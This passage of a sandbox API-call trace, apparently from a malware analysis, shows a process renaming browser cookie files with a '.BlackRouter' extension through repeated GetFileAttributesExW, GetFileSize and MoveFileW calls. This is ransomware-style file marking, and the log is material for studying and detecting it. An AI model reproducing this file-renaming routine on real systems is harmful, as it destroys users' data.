ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x562c6900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd513cb70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1f0)) returned 1 [0078.120] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt.blackrouter")) returned 1 [0078.121] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x1c8 [0078.124] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xd513cb70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0078.124] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.blackrouter")) returned 1 [0078.126] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x82 [0078.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdf95770, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbdf95770, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd513cb70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0078.129] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.blackrouter")) returned 1 [0078.131] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x110 [0078.134] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6301df20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a15b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd5162cd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0078.134] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.blackrouter")) returned 1 [0078.135] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x256 [0078.169] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61093ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61093ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd51aef90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x260)) returned 1 [0078.170] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt.blackrouter")) returned 1 [0078.171] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xc4 [0078.174] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x610b9d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61282d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd51aef90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0078.174] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt.blackrouter")) returned 1 [0078.175] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x21f [0078.179] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e777a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64e777a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd51d50f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x220)) returned 1 [0078.179] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt.blackrouter")) returned 1 [0078.201] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x110 [0078.204] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x465ba5f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x465ba5f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xd51fb250, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0078.204] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.blackrouter")) returned 1 [0078.205] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x76 [0078.208] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfa5cef0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfa5cef0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd52213b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x80)) returned 1 [0078.208] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.blackrouter")) returned 1 [0078.209] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x337 [0078.213] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b50050, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x50b50050, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xd52213b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x340)) returned 1 [0078.214] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt.blackrouter")) returned 1 [0078.221] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xce [0078.226] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5348e0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5348e0b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd5247510, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0078.226] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.blackrouter")) returned 1 [0078.227] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x6c [0078.231] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf73d210, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf73d210, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd5247510, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0078.231] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.blackrouter")) returned 1 [0078.232] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x68 [0078.235] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf99e810, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf99e810, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd5247510, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0078.236] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.blackrouter")) returned 1 [0078.237] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xb2 [0078.240] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf54e030, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf54e030, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd526d670, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0078.241] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.blackrouter")) returned 1 [0078.242] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xd7 [0078.247] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x555a9a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x555a9a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd526d670, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0078.247] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.blackrouter")) returned 1 [0078.249] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0xa9 [0078.253] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54d8c7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54d8c7b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd526d670, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0078.253] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.blackrouter")) returned 1 [0078.254] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x402 [0078.268] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4523d1d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x526fc010, 